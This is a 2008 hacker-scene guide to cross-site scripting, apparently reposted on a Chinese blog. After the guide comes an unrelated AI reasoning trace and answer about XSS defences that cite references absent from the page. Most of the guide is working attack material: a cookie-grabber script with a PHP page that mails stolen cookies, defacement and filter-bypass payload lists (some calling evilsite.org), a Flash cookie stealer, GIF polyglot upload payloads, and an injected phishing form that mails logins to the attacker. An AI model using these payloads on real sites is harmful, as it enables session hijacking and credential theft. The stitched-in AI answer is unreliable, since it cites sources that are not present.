Cross Site Scripting - Attack and Defense guide

本文档详细介绍了跨站脚本(Cross Site Scripting, XSS)攻击的各种方法及其防御措施,包括XSS漏洞的制造、Cookie抓取器的制作、XSS攻击的防范等,并探讨了如何利用XSS进行网站篡改、绕过过滤机制、Flash攻击等多种技术手段。
 
                                                                           ____
                                                                             /   /
 ________________________________________________________________________/   /
|                                                                       /   /
|           Cross Site Scripting - Attack and Defense guide            /   /
|_____________________________________________________________________/   /
                                                                     /   /
                                             By Xylitol 10-02-08    /___/


	Author: Xylitol

	Description: a simple guide on XSS methods.

	Homepage: http://xylitol.free.fr

	Contact: Xylitol[at]fbi[dot]gov

	Date: 10/02/08


	Summary:
		1>  What is XSS ?
		2>  Code a XSS vulnerability
		3>  Make a cookie grabber
		4>  Securing XSS
		5>  Deface Methods
		6>  Filteration Bypassing
		7>  Flash attak
		8>  XSS upload
		9>  phishing XSS


         ____                                   ____
        /   /                                   /   /
 ______/   /_____________________________________/   /______
|     /   /                                       /   /     |
|    /   /.:      Chapter 1 - What is XSS ?      :./   /    |
|___/   /___________________________________________/   /___|
   /   /   (From Wikipedia, the free encyclopedia)   /   /
  /___/                                               /___/



Cross-zone scripting is a browser exploit taking
advantage of a vulnerability within a zone-based security solution.
The attack allows content (scripts) in unprivileged zones
to be executed with the permissions of a privileged zone - i.e.
a privilege escalation within the client (web browser) executing the script.
The vulnerability could be:

    * a web browser bug which under some conditions allows content (scripts)
in one zone to be executed with the permissions of a higher privileged zone.

    * a web browser configuration error; unsafe sites listed in privileged zones.

    * a cross-site scripting vulnerability within a privileged zone

A common attack scenario involves two steps.
The first step is to use a Cross Zone Scripting vulnerability
to get scripts executed within a privileged zone. To complete the attack,
then perform malicious actions on the computer using insecure ActiveX components.

This type of vulnerability has been exploited to silently install
various malware (such as spyware, remote control software, worms and such)
onto computers browsing a malicious web page.

                                        


         ____                                   ____
        /   /                                   /   /
 ______/   /_____________________________________/   /______
|     /   /                                       /   /     |
|    /   /.:Chapter 2 - Code a XSS vulnerability :./   /    |
|___/   /___________________________________________/   /___|
   /   /                                             /   /
  /___/                                               /___/



Open notepad and copy/past this script:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
  <table width="270" border="0">
    <tr>
      <td width="106"><strong>Search:</strong></td>
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
      </tr>
  </table>
  <table width="268" border="0">
    <tr>
      <td width="262"><div align="center">
        <input name="submit" type="submit" value="     Search it !     " />
      </div></td>
      </tr>
  </table>
  </div>
</form>
</body>
</html>




after, save this page: index.html
open a new notpad and Copy/past that:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>
</html>

save this page in: XSS.php
close notepad

open index.html in firefox
enter a value and search
return on the page of research and enter  <script>alert('XSS')</script>
send the form
bingo a dialogue box !

 _______________________________________
/  http://127.0.0.1 dit:              X /
|________________________________________|
|                                        |
|                                        |
|    ^                                   |
|   / /                                  |
|  / | /      XSS                        |
| /  .  /                                |
| -------                                |
|                       ______           |
|                      |  OK  |          |
|                       ------           |
|________________________________________|
            XSS Vulnerability is here...





         ____                                  ____
        /   /                                  /   /
 ______/   /____________________________________/   /______
|     /   /                                      /   /     |
|    /   /.: Chapter 3 - Make a cookie grabbers :./   /    |
|___/   /__________________________________________/   /___|
   /   /                                            /   /
  /___/                                              /___/



insert this script in a vulnerable page (for exemple a guestbook)

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>


(www.Hax0r.com = your site)
Open notepad and make a page: cookie.php
copy/past this code:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?> 
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>


It is not enough any more but for the pirate,
than to await the reception of the email and to read the cookie there.



         ____                                 ____
        /   /                                 /   /
 ______/   /___________________________________/   /______
|     /   /                                     /   /     |
|    /   /.:      Chapter 4 - Securing XSS     :./   /    |
|___/   /_________________________________________/   /___|
   /   /                                           /   /
  /___/                                             /___/


FIX it:
for fix XSS Vulnerability use htmlentities:


in line 16 Remplace:
<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>

By:

<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>&nbsp;
</body>


use htmlspecialchars() function in PHP ;)

other function:
htmlentities() quotes
strip_tags()
...

         ____                                 ____
        /   /                                 /   /
 ______/   /___________________________________/   /______
|     /   /                                     /   /     |
|    /   /.:     Chapter 5 -deface Methods     :./   /    |
|___/   /_________________________________________/   /___|
   /   /                                           /   /
  /___/                                             /___/


defacer with a XSS and a rather simple thing
here are the principal ones…

defacement by an image:
<IMG SRC="http://hax0r.com/Haxored.png">

or a video flash:
<EMBED SRC="http://hax0r.com/Haxored.swf"


more knew: the redirection:
<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

also see:
<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />




         ____                                 ____
        /   /                                 /   /
 ______/   /___________________________________/   /______
|     /   /                                     /   /     |
|    /   /.: Chapter 6 - Filteration Bypassing :./   /    |
|___/   /_________________________________________/   /___|
   /   /                                           /   /
  /___/                                             /___/


actually it's not that easy to bypass htmlspecialchars()
here some other example of xss Bypass:

<META HTTP-EQUIV=/"refresh/" CONTENT=/"0;
URL=http://;URL=javascript:alert('XSS');/">

<META HTTP-EQUIV=/"refresh/"
CONTENT=/"0;url=javascript:alert('XSS');/">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=/"javascript:alert('XSS')/">

<IMG LOWSRC=/"javascript:alert('XSS')/">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=/"jav&#x0D;ascript:alert('XSS');/">

<IMG SRC=/"jav&#x0A;ascript:alert('XSS');/">

<IMG SRC=/"jav&#x09;ascript:alert('XSS');/">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(/"XSS/")</script>'); ?>

<IMG SRC=/"jav&#x0A;ascript:alert('XSS');/">

<IMG SRC=/"jav&#x09;ascript:alert('XSS');/">

<marquee><script>alert('XSS')</script></marquee>

<style>@im/port'/ja/vasc/ript:alert(/"XSS/")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>


Here and there is of it full with others
google is your friends
         ____                                 ____
        /   /                                 /   /
 ______/   /___________________________________/   /______
|     /   /                                     /   /     |
|    /   /.:     Chapter 7 - Flash attack      :./   /    |
|___/   /_________________________________________/   /___|
   /   /                                           /   /
  /___/                                             /___/

Flash is used for complex animations, simulations,
*creation of games etc..
What’s interesting for us is the getURL() action.
This function allows us to redirect the end user to another page.
its syntax is built as follows:
getURL(url:String, [window: String,[method:String]])
exemple:
getURL("http://victime.com/login.php?logout=true","_self");


url: indicate the URL of the site
window: specify within which framework the request must take place (_self, _blank…)
method: method of request GET or POST (by defect GET)


here the handling of the actionscript and the Javascript to post a alert:
getURL("javascript:alert('XSS'");



in 2002 one will show the danger of this facility,
one could for example post the cookie of visitors in this manner:
getURL("javascript:alert(document.cookie)")

in December 2005, a new alternative and appeared
consisting has to benefit from a nonpermanent fault XSS
and possibility of putting a file flash in its signature to give a permanent XSS,
moreover the author of this alternative used this technique in order
to infect MySpace with a deviated worms xss of Samy: Samy Reloaded

cookie stealer in flash ?
not but there is technique to do it
exemple
in a flash file:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

and in Haxored.js:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;


For secure it simple solution: do not allow flash files in your web app


         ____                                    ____
        /   /                                    /   /
 ______/   /______________________________________/   /______
|     /   /                                        /   /     |
|    /   /.:       Chapter 8 - XSS upload         :./   /    |
|___/   /____________________________________________/   /___|
   /   /                                              /   /
  /___/                                                /___/

Make Haxored.gif in paint for exemple
after open Haxored.GIF in notepad
delete all line and insert this:
GIF89a<script>alert("XSS")</script>

save and close it
upload Haxored.gif in a free image hoster look your image
and XSS is here...
dont take Mozillia Firefox for look your image but Mozillia dont run your alert
use Internet explorer

Why add GIF89a ?
well some upload like this one, check that the 'GIF89a' code
is contained in the image as in any .GIF respective.
the vulnerability of this upload results from the checking 'GIF89a' code
for confirmation but of nothing the possible malicious codes contained in this image.
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>

to know the code for another image format,
it is just enough to open an image jpg or other with a text editor,
for example a png file: ‰PNG

PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ


For secure it dont check getimagesize() only



         ____                                    ____
        /   /                                    /   /
 ______/   /______________________________________/   /______
|     /   /                                        /   /     |
|    /   /.:       Chapter 9 - Phishing XSS       :./   /    |
|___/   /____________________________________________/   /___|
   /   /                                              /   /
  /___/                                                /___/

you understood the goal of the phishing ?
and XSS ?

in our example it will be necessary to find a Vulnerable site to the XSS
and to inject there oneself in a form to oneself directly in the URL the following code:


<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=          OK          >
</form>




you will have it to guess script will simulate a form of connextion and send the value to you
example of file php for  sending this email (mail.php):



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?> 
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>




the user will believe that the waiter and overloads some and will not suspect nothing
I think that you understood this principle ?




         ____                                    ____
        /   /                                    /   /
 ______/   /______________________________________/   /______
|     /   /                                        /   /     |
|    /   /.: Xylitol respects and hello's fly out :./   /    |
|___/   /____________________________________________/   /___|
   /   /                                              /   /
  /___/                                                /___/

nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai
Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke

and all hardworking sceners in the scene !

 _________________________________
|                                 |
| .: Xylitol thanks this sites :. |
|_________________________________|

http://www.googlebig.com/
http://xssed.com/
http://www.xssing.com/
http://www.milw0rm.com/
http://H4cky0u.org/


If you want to contact me for any stupid reason,
drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov
____
/   / 
 /   /_____________________________________________________________________________
  /   /                                                                            |
   /   /             Cross Site Scripting - Attack and Defense guide               |
    /   /__________________________________________________________________________|
     /   / 
      /___/  By Xylitol 10-02-08

<think>首先,用户的问题是:“我想了解跨站脚本攻击(XSS)的原理及防范方法 请问Cross site scripting (XSS) 攻击原理 防御措施”。这是一个关于XSS攻击的原理和防御措施的查询。 根据系统级指令: - 所有行内数学表达式必须使用$...$格式,但这里没有数学表达式,所以不需要。 - 独立公式必须使用$$...$$格式并单独成段,同样,这里可能没有数学公式。 - LaTeX语法正确:确保任何数学内容正确使用。 - 使用中文回答:整个回答必须用中文。 - 生成相关问题:在回答结束后,添加“相关问题”部分。 - 回答中引用的段落末尾自然地添加引用标识:例如[^1],参考提供的引用。 用户提供的引用: - [^1]: XSS定义和缩写。 - [^2]: DVWA靶场反射型XSS的代码分析。 - [^3]: XSS攻击类型。 - [^4]: DVWA反射型XSS的源码分析(高难度)。 我需要参考这些引用,并在回答中自然地添加引用标识。例如,当提到某个点时,在末尾加上[^1]等。 回答结构: - 由于用户要求“回答结构清晰,帮助用户逐步解决问题”,我应该组织回答: 1. 介绍XSS攻击。 2. 解释原理。 3. 讨论防御措施。 4. 使用提供的引用支持内容。 关键点从引用: - [^1]: XSS是跨站脚本攻击,缩写为XSS以避免混淆。 - [^2]: 反射型XSS的例子,攻击者注入恶意脚本,受害者浏览器执行。 - [^3]: XSS类型:存储型、反射型、DOM型。 - [^4]: 代码示例,显示如何过滤输入。 用户问题具体是原理和防御措施。 原理: - XSS攻击涉及注入恶意脚本到网页中,当其他用户查看时执行。 - 类型:存储型(持久化在服务器)、反射型(通过URL参数)、DOM型(客户端处理)。 防御措施: - 输入验证和过滤。 - 输出编码。 - 使用内容安全策略(CSP)。 - 从引用中,[^4]提到使用preg_replace过滤脚本标签。 生成相关问题: - 在回答结束后,添加“相关问题”部分,如示例所示。 完整回答结构: 1. 开头介绍XSS。 2. 详细解释原理。 3. 详细讨论防御措施。 4. 添加引用标识。 5. 结束相关问题。 确保语言是中文。 大纲: - 第一部分:XSS原理 - 定义XSS[^1]。 - 攻击流程:攻击者注入脚本 -> 服务器存储或反射 -> 受害者浏览器执行[^2][^3]。 - 类型:存储型、反射型、DOM型[^3]。 - 第二部分:防御措施 - 输入过滤:如使用正则表达式去除脚本标签[^4]。 - 输出编码:确保输出时HTML实体编码。 - 其他:CSP、HTTPOnly标志等。 相关问题: - 如“XSS攻击的常见例子有哪些?”或“如何测试XSS漏洞?”等。 最终输出: - 回答内容。 - §§相关问题§§部分。</think>### 跨站脚本攻击(XSS)原理及防范方法 跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,攻击者通过注入恶意脚本代码到目标网页中,当其他用户(如管理员或普通访客)访问该页面时,脚本会在其浏览器中执行,从而窃取会话cookie、重定向用户或执行其他恶意操作[^1]。XSS攻击的核心在于HTML注入,攻击者利用Web应用程序的输入漏洞(如表单、URL参数)注入JavaScript代码[^2]。以下我将逐步解释XSS的原理和防御措施,确保内容清晰可靠。 #### XSS攻击原理 XSS攻击的原理涉及三个角色:攻击者、目标服务器和受害者的浏览器。攻击过程分为以下步骤: 1. **注入恶意脚本**:攻击者发现Web应用程序的输入点(如搜索框、URL参数),并提交包含恶意脚本的数据。例如,在反射型XSS中,攻击者构造一个URL,其中包含类似`<script>alert('XSS')</script>`的代码[^2][^3]。 2. **服务器处理与响应**:服务器未对输入进行充分过滤或编码,直接将恶意脚本嵌入到HTML响应中。例如,在DVWA靶场的低难度示例中,服务器直接回显用户输入的`name`参数,导致脚本被执行[^2]。 3. **受害者浏览器执行**:当受害者访问包含恶意脚本的页面时,浏览器解析并执行该脚本,攻击者可能窃取cookie、会话令牌或控制用户账户[^3]。 XSS攻击分为三种主要类型: - **反射型XSS(Reflected XSS)**:恶意脚本通过URL参数注入,服务器反射回响应中,受害者点击恶意链接时触发。例如,DVWA中的示例代码未过滤输入,导致脚本直接输出[^2][^4]。 - **存储型XSS(Stored XSS)**:恶意脚本被存储到服务器数据库(如评论区),所有访问该页面的用户都会执行。 - **DOM型XSS(DOM-based XSS)**:攻击发生在客户端,脚本通过修改DOM结构执行,不涉及服务器响应[^3]。 攻击者利用XSS的常见目标包括窃取用户凭证、发起钓鱼攻击或传播恶意软件。例如,在DVWA的高难度代码中,服务器尝试使用正则表达式过滤脚本标签(如`preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $input)`),但过滤不彻底仍可能导致漏洞[^4]。 #### XSS防御措施 防御XSS的关键在于“输入验证、输出编码”的原则,确保用户输入不被执行为代码。以下措施基于行业最佳实践和引用中的示例: 1. **输入验证与过滤**:对用户输入进行严格检查,移除或转义潜在危险字符。例如,使用正则表达式过滤脚本标签,如引用[^4]中的`preg_replace`函数,但应结合白名单机制(只允许安全字符)。代码示例: ```php $name = preg_replace('/<script.*?>.*?<\/script>/is', '', $_GET['name']); // 过滤script标签 ``` 同时,验证输入格式(如只允许字母数字)能减少风险[^4]。 2. **输出编码**:在将数据输出到HTML时,使用编码函数转换特殊字符。例如,将`<`转义为`<`,`>`转义为`>`,防止浏览器解析为标签。在PHP中,可用`htmlspecialchars()`函数: ```php echo "<pre>Hello " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</pre>"; // 编码输出 ``` 这确保恶意脚本以文本形式显示,而非执行[^2][^3]。 3. **内容安全策略(CSP)**:通过HTTP头部设置CSP,限制浏览器只加载可信源的脚本。例如: ``` Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; ``` 这能阻止内联脚本和外部恶意资源[^3]。 4. **其他措施**: - 使用HTTPOnly标志:设置Cookie的HTTPOnly属性,防止JavaScript访问会话Cookie。 - 框架安全特性:利用现代Web框架(如React或Angular)的内置XSS防护。 - 定期安全测试:使用工具(如OWASP ZAP)扫描漏洞,模拟DVWA靶场进行反射型XSS测试[^2][^4]。 通过这些防御措施,可显著降低XSS风险。但需注意,XSS漏洞常源于开发疏忽,因此持续教育和代码审计至关重要[^1][^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值